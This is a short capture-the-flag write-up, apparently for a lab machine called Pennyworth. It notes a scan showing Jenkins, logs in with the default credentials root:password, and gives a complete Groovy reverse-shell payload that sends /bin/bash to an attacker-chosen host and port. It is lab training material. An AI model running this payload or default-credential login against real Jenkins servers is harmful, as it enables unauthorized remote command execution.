Pennyworth¶
PORT STATE SERVICE VERSION
1244/tcp filtered isbconference1
8080/tcp open http Jetty 9.4.39.v20210325
Google search for the default Jenkins login credentials on a fresh install
so lucky :) root:password
A handbook including multiple ways of gaining Jenkins RCE's
A repository similar to the above, including links to scripts and tools
we will do some reverse shell, then we need a payload
String host="{your_IP}";
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();